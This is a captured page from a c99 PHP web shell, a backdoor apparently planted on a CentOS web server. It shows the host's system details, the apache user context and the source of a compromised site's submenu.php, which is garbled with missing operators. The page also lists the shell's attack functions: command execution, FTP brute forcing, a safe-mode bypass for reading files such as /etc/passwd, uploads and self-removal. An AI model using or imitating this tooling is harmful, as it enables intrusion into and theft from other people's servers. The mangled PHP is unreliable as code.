!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/source/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     submenu.php (2.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
//echo "$oU->MnID, $oU->userID, $oU->GpID<br>";
$oMmn->RSmenuByParentMn($oU->MmnID);
if (
$oMmn->GetRowSelected()==0){
    
$oMmn->SearchByKey($oU->MmnID);
    
$oMmn->GetRecord();
    
header("Location: $oMmn->MnURL");
    exit();
}else{
    
$oMmn->SearchByKey($oU->MmnID);
    
$oMmn->GetRecord();
}
?>
<table width="550" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><br><fieldset>
            <legend align="center"><font size="3" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><b><?=$oMmn->MnNameT;?></b></font></legend>
            <label><div align="center"><br>
            <table width="740" align="center" cellpadding="0" cellspacing="1" boder="1">
                <tr align="left">
                    <td><font face="Ms Sans Serif" size="2">
                    <?
                    $StrMenu 
"";
                    
ShowMenu($oU->MmnID$oU->userID$oU->GpID1$StrMenu);
                    echo 
$StrMenu;
                    
?>
                    </font></td>
                </tr>
            </table>
            </div><br></label>
        </fieldset><br></td>
    </tr>
</table>
<?
/////////////////////////////////////////////////////////////
function ShowMenu($MnID$UsID$GpID$x, &$Stm){
    global 
$oC;
    global 
$oU;
    include_once(
"../../class/clsDB.php");
    include_once(
"../../ums/clsUmSystem.php");
    
$oSt = new umsystem($oC);
    
$oUp = new umpermission($oC);
    
$oGp = new umgpermission($oC);
    
$oMn = new ummenu($oC);

    
$oMn->SearchByKey($MnID);
    
$oMn->GetRecord();
    

    
    
$flg=1;
    
$oUp->SearchByKey($UsID$MnID);
    if (
$oUp->GetRecord()){
        
$flg $oUp->pmX;
    }else{
        
$oGp->SearchByKey($GpID$MnID);
        if (
$oGp->GetRecord()){
            
$flg $oGp->gpX;
        }        
    }
    if (
$flg==$x){
        if (
$oMn->MnLevel>0){
            
$Stm .= str_pad("",10*6*$oMn->MnLevel,  "&nbsp;"STR_PAD_RIGHT)."<img src=\"../picture/ico1.gif\"  align=\"absmiddle\" border=\"0\">";
                
$oSt->SearchByKey($oMn->MnStID);
                
$oSt->GetRecord();
            if (
trim($oMn->MnURL)<>""$Stm .= "<a href=\"/mis/$oSt->StURL/$oMn->MnURL?MmnID=$oU->MmnID&MnID=$oMn->MnID\">";
            
$Stm .= $oMn->MnNameT;
            if (
trim($oMn->MnURL)<>""$Stm .= "</a>";
            
$Stm .= "<br>\n";        
        }
        
//---------------    
        
$oMn->RSmenuByParentMn($MnID);
    }
    while (
$oMn->GetRecord()){
        
ShowMenu($oMn->MnID$UsID$GpID$flg$Stm);
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0102 ]--